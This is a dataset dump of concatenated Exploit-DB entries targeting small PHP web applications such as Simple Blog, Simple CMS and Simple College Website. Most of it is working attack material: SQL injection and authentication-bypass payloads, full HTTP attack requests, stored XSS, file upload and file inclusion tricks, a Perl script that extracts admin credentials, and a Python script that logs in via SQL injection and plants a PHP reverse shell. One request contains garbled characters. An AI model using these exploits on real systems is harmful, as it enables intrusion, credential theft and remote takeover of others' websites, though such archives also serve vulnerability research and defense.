deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40519
Description: Simple Blog PHP 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-13
Author: Ehsan Hosseini

Exploit:
=====================================================
# Simple Blog PHP 2.0 - SQL Injection
=====================================================
# Vendor Homepage: http://simpleblogphp.com/
# Date: 13 Oct 2016
# Demo Link : http://simpleblogphp.com/blog/admin.php
# Version : 2.0
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# SQL Injection
This vulnerability is in admin.php file when we want to edit a post or
edit a categorie and..., with id parameter can show sql injection.

#PoC:
Vulnerable Url:
http://localhost/blog/admin.php?act=editPost&id=[payload]
http://localhost/blog/admin.php?act=editCat&id=[payload]
http://localhost/blog/admin.php?act=editComment&id=[payload]
http://localhost/blog/admin.php?act=comments&post_id=[payload]
Vulnerable parameter : id
Mehod : GET

A simple inject :
Payload : '+order+by+999--+
http://simpleblogphp.com/blog/admin.php?act=editPost&id=1'+order+by+999--+

In response can see result :
Could not execute MySQL query: SELECT * FROM blog_posts WHERE id=''
order by 999-- ' . Error: Unknown column '999' in 'order clause'

Result of payload: Error: Unknown column '999' in 'order clause'
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
Exploit-DB #12006
Description: Simple Calculator by Peter Rekdal Sunde - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-01
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Simple Calculator by Peter Rekdal Sunde Remote Upload Vulnerability           
| # Author   : indoushka      
| # Home     : www.dz-blackhat.com
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Remote Upload                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
     1- http://127.0.0.1/upload/index.upload.php (index page)
     
     2- http://127.0.0.1/upload/upload.php (Upload Page)
     
     3- http://127.0.0.1/upload/ch99.php
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #45684
Description: Simple Chat System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ihsan Sencan

Exploit:
# Exploit Title: Simple Chat System 1.0 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-24
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/php/11610/simple-chat-system.html
# Software Link: https://sourceforge.net/projects/simple-chat-system/files/latest/download
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/user/chatroom.php?id=[SQL]
# 
# [PATH]/user/chatroom.php
# 03 <?php
# 04 	$id=$_REQUEST['id'];
# 05 	
# 06 	$chatq=mysqli_query($conn,"select * from chatroom where chatroomid='$id'");
# 07 	$chatrow=mysqli_fetch_array($chatq); 	
 
GET /[PATH]/user/chatroom.php?id=-3%27雷�穑ɏ볯纵듧纹럫庞%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml왩,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fuobifeugni2gnt2kir6patce6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 20:44:14 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #49873
Description: Simple Chatbot Application 1.0 - 'Category' Stored Cross site Scripting
Type: webapps
Platform: php
Date: 2021-05-17
Author: Vani K G

Exploit:
# Exploit Title: Simple Chatbot Application 1.0 - 'Category' Stored Cross site Scripting
# Date: 16-05-2021
# Exploit Author: Vani K G
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: Windows 10/XAMPP

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the
two. It occurs when a malicious script is injected directly into a
vulnerable web application.

Attack Vector :

This vulnerability can result in the attacker to inject the XSS
payload in the Title field of the page and each time any user will
open the website, the XSS triggers and attacker can able to steal the
cookie according to the crafted payload.

Vulnerable Parameters: Settings System Info field
Payload : <script>alert(1)</script>

Vulnerable URL :
http://localhost/chatbot/admin/?page=system_info

Steps To Reproduce :
1) Go to the admin Dashboard
2) Click on Settings and Select System Info.
3) Put Payload into the System name  input field.
4) Click on Save.
5) XSS payload will be triggered.
Exploit-DB #50673
Description: Simple Chatbot Application 1.0 - 'message' Blind SQLi
Type: webapps
Platform: php
Date: 2022-01-18
Author: Saud Alenazi

Exploit:
# Exploit Title: Simple Chatbot Application 1.0 - 'message' Blind SQLi
# Date: 18/01/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10

# Steps
# Go to : http://127.0.0.1/classes/Master.php?f=get_response
# Save request in BurpSuite
# Run saved request with sqlmap -r sql.txt

======

POST /classes/Master.php?f=get_response HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=45l30lmah262k7mmg2u5tktbc2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 73
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

message=' AND (SELECT 8288 FROM (SELECT(SLEEP(10)))ypPC) AND 'Saud'='Saud

======

#Payloads

#Payload (UNION query)
message=-8150' UNION ALL SELECT CONCAT(0x717a766b71,0x6d[PII_REDACTED][PII_REDACTED]5259434d436c[PII_REDACTED]4a424b635856784f4d5a41594e4e75424474,0x716a7a7171),NULL-- -

#(AND/OR time-based blind)
message=' AND (SELECT 8288 FROM (SELECT(SLEEP(10)))ypPC) AND 'Saud'='Saud
Exploit-DB #43237
Description: Simple Chatting System 1.0.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Simple Chatting System 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: http://yourphpscript.com/
# Software Link: http://yourphpscript.com/index.php/product/simple-chatting-system-php-ajax-mysql-javascript/
# Demo: http://chat.yourphpscript.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker upload arbitrary file....
# 
# Proof of Concept: 
# 
# Users profile picture arbitrary file can be uploaded ..
# 
# http://localhost/[PATH]/view/my_profile.php
# http://localhost/[PATH]/uploads/[DATE].php
# 
# # # # #
Exploit-DB #50063
Description: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-06-25
Author: Barış Yıldızoğlu

Exploit:
# Exploit Title: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)
# Date: 24-06-2021
# Exploit Author: Barış Yıldızoğlu
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/client-details.zip
# Version: 1.0
# Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3

Request:

POST /client%20details/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1 /client%20details/index.php
Cookie: PHPSESSID=86klv32pm6nvt60qtli6peonod
Upgrade-Insecure-Requests: 1

uemail={Payload Here}&[CREDENTIAL_REDACTED]=LOG+IN


# Proof of Concept:
          Payload: admin' or 1=1#
Exploit-DB #50497
Description: Simple Client Management System 1.0 - SQLi (Authentication Bypass)
Type: webapps
Platform: php
Date: 2021-11-08
Author: Sentinal920

Exploit:
# Exploit Title: Simple Client Management System 1.0 - SQLi (Authentication Bypass)
# Exploit Author: Sentinal920
# Date: 5-11-2021
# Category: Web application
# Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip
# Version: 1.0
# Tested on: Kali Linux
# Vulnerable page: Login
# Vulnerable Parameter: "password"


Technical description:
An SQL Injection vulnerability exists in the Simple Client Management
System. An attacker can leverage the vulnerable "password" parameter
in the "Login.php" web page to authenticate as an admin user.

Steps to exploit:
1) Navigate to http://localhost/cms/admin/login.php
2) Set username as admin and insert your payload in the password parameter

Proof of concept (Poc):
The following payload inside password will allow you to login into the
web server as admin
admin'or'1'%3D'1

---

POST /cms/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Length: 51
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/cms/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn
Connection: close

username=admin'or'1'%3D'1&password=admin'or'1'%3D'1

---
Exploit-DB #2133
Description: Simple CMS - Administrator Authentication Bypass
Type: webapps
Platform: php
Date: 2006-08-07
Author: daaan

Exploit:
Simple CMS <daaan@gmail.com>

Information:
The cms from http://www.cms-center.com/ uses no security at all, just a boolean 
"isloggedin". If you submit "loggedin=1" in the URL of any of the admin pages, 
you get full controll.

Vulnerable code:
<auth.php>
if ($loggedin != "1"){
	header("Location: /login.php?e=1"); /* Redirect browser */ 
	/* Make sure that code below does not get executed when we redirect. */ 
	exit; 
}
//echo "ok";

Vulnerable files:
/admin/item_modify.php
/admin/item_list.php
/admin/item_legend.php
/admin/item_detail.php
/admin/index.php
/admin/config_pages.php
/admin/add_item1.php

Proof:
1. Google for "powered by php mysql simple cms"
2. type "admin/config_pages.php?loggedin=1" behind the url
3. Done. It works on every admin page that uses the so called auth.php.

I tried to contact the author, but i was unable to find ANY contact info.

# milw0rm.com [2006-08-07]
Exploit-DB #5131
Description: Simple CMS 1.0.3 - 'area' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: JosS

Exploit:
#!/usr/bin/perl

# Simple CMS <= 1.0.3 (?area=) Remote SQL Injection Exploit
# Code by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project
# http://www.spanish-hackers.com
# special thanks to ka0x


print "\t\t########################################################\n\n";
print "\t\t#   Simple CMS <= 1.0.3 Remote SQL Injection Exploit   #\n\n";
print "\t\t#                       by JosS                        #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] Simple CMS <= 1.0.3 Remote SQL Injection Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host]\n";
    print "[x] example: http://localhost/path/\n\n";
    exit(1);
 }
 
    print "\n[+] connecting in $victim...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."/indexen.php?area=-1+union+select+1,concat(0x5f5f5f5f,0x5b215d[PII_REDACTED]3a20,UName,0x20205b215d[PII_REDACTED]3a20,PWord,0x5f5f5f5f),3,4,5+from+cpanel_authors/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2008-02-16]
Exploit-DB #9527
Description: Simple CMS Framework 1.0 - 'page' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-26
Author: Red-D3v1L

Exploit:
==============================================================================
  ##  Hackteach.OrG ##
             

/ ___   )(  __   )/ ___   )
\/   )  || (  )  |\/   )  |
    /   )| | /   |    /   )
   /   / | (/ /) |   /   / 
  /   /  |   / | |  /   /  
 /   (_/\|  (__) | /   (_/\
(_______/(_______)(_______/
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  Simple CMS FrameWork <== 1.0 Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:             [ Hackteach.org ]
    [Â»] Script:              [ Simple CMS FrameWork ]
    [Â»] Language:            [ PHP ]
    [Â»] Home:                [ http://westlingit.com/cms.php ]
    [Â»] Founder:             [ Red-D3v1L < php-c0de@hotmail.com > SQL@Hotmail.eS < ]
    [Â»] Gr44tz to:           [ All member Hackteach.org/cc - Str0ke - sp3x ]
    [Â»] Fuck To :            [ Anti-trust << Big Big Big Lamer << ]
########################################################################

===[ Exploit SQL ]===  

 [Â»] [Path]/index.php?id=null&page=[SQL]

 [Â»] L1v3 d3m0 : 

http://dev.westlingit.com/simplecms/index.php?id=null&page=-0+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19 


Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-26]
Exploit-DB #49477
Description: Simple College Website 1.0 - 'full' Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2021-01-26
Author: Marco Catalano

Exploit:
# Exploit Title: Simple College Website 1.0 - 'full' Stored Cross Site Scripting
# Exploit Author: Marco Catalano (@stunn4)
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/7772/simple-college-website-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7772&title=Simple+College+Website+using++PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "full" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The source of "/admin_pages/admission.php" file defines the following lines of code:

if (isset($_POST['add'])&&!empty($_POST['full'])) {
    $full=$_POST['full'];
    $query=mysqli_query($conn,"UPDATE `contents` SET `full_contents`='$full'  WHERE `id`='2'");
    if ($query) {
        echo "<b style='color:white;'>Page changed..!</b>";
    } else if(!$query){
        echo "<b style='color:white;'>Page is not changed..!</b>";
    }
}


which allow to an authenticated administrator to modify the source code of the page.
Every change is then reflected and the user-input is not properly sanitized, this leads to cross site scripting attacks.
An attacker may try to gain access to the admin panel using authentication bypass through sql injection exploit.

Proof Of Concept:
The attacker is logged into the administrator panel and modifies the source code of admission.php page to inject javascript code as it follows:


POST /admin_pages/admission.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin_pages/admission.php
Cookie: wp-settings-time-1=[PII_REDACTED]; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

full=<script>alert("xss+PoC+by+stunn4")%3b</script>&add=Update+Contents

The XSS payload is stored in the database, so a victim would browse http://127.0.0.1/admission.php and execute the XSS payload.
Exploit-DB #49476
Description: Simple College Website 1.0 - 'name' Sql Injection (Authentication Bypass)
Type: webapps
Platform: php
Date: 2021-01-26
Author: Marco Catalano

Exploit:
# Exploit Title: Simple College Website 1.0 - 'name' Sql Injection (Authentication Bypass)
# Exploit Author: Marco Catalano (@stunn4)
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/7772/simple-college-website-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=7772&title=Simple+College+Website+using++PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "name" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The source of "/admin_pages/login.php" file defines the following lines of code:

$name=$_POST['name'];
$password=$_POST['password'];
$result=mysqli_query($conn,"SELECT * FROM users WHERE name='$name' AND [CREDENTIAL_REDACTED]'");

which are called when trying to log into the administrative panel at "/admin_pages/login.php" itself.

Proof Of Concept:

The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "florian".


POST /admin_pages/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin_pages/login.php
Cookie: wp-settings-time-1=[PII_REDACTED]; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

name=florian%27+or+%271%27+%3D+%271+--+-&[CREDENTIAL_REDACTED]=Login
Exploit-DB #49175
Description: Simple College Website 1.0 - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2020-12-02
Author: Mosaaed

Exploit:
# Exploit Title: Simple College Website 1.0 - 'page' Local File Inclusion
# Date: 30-10-2020
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip
# Version: 1.0
# Tested on: Parrot 5.5.17 + version: Apache/2.4.46 (Debian)
# CVE ID : N/A

# Local File Inclusion
#parameter Vulnerable: page

#Request

GET /college_website/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=7ls9j695lglc2eah5khecv2g66
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Cache-Control: max-age=0


#Response 

HTTP/1.1 200 OK

Date: Sat, 31 Oct 2020 02:49:31 GMT
Server: Apache/2.4.46 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 15674
Connection: close
Content-Type: text/html; charset=UTF-8


 <main class="">

        PD9waHAgDQoNCiRjb25uPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywncGFzc3dvcmQnLCdjb2xsZWdlX3dlYnNpdGVfZGInKW9yIGRpZSgiQ291bGQgbm90IGNvbm5lY3QgdG8gbXlzcWwiLm15c3FsaV9lcnJvcigkY29uKSk7DQo=       

</main>
Exploit-DB #48977
Description: Simple College Website 1.0 - 'username' SQL Injection / Remote Code Execution
Type: webapps
Platform: php
Date: 2020-10-30
Author: yunaranyancat

Exploit:
# Exploit Title: Simple College Website 1.0 - SQL Injection / Remote Code Execution
# Date: 30-10-2020
# Exploit Author: yunaranyancat
# Vendor Homepage: https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip
# Version: 1.0
# Tested on: Ubuntu 18.04 + XAMPP 7.4.11
# CVE ID : N/A

# replace revshell.php with your own php reverse shell
# change [TARGET URL] to target URL or IP address
# setup your netcat listener for sum good ol shellz

#!/usr/bin/python3

import requests
import time

def sqli_admin():
	s = requests.Session()
	data = {"username":"admin' or 1=1#","password":"hacked"}
	adminlogin = "http://[TARGET URL]/college_website/admin/ajax.php?action=login"
	s.post(adminlogin,data=data)
	return s

def trigger_rce(session):
	starttime = int(time.time())
	multipart_form_data = {
	"name": ("College of Hackers"),
	"email": ("test@test.com"),
	"contact" : ("[PII_REDACTED]"),
	"about" : ("Nothing much about it"),
	"img" : ("revshell.php", open("revshell.php", "rb"))
	}
	session.post("http://[TARGET URL]/alumni/admin/ajax.php?action=save_settings", files=multipart_form_data)
	get_shell(starttime-100,starttime+100,session)


def get_shell(start,end,session):
	for i in range(start,end):
		session.get("http://[TARGET URL]/alumni/admin/assets/uploads/"+str(i)+"_revshell.php")

def main():
	session = sqli_admin()
	trigger_rce(session)

if __name__ == '__main__':
	main()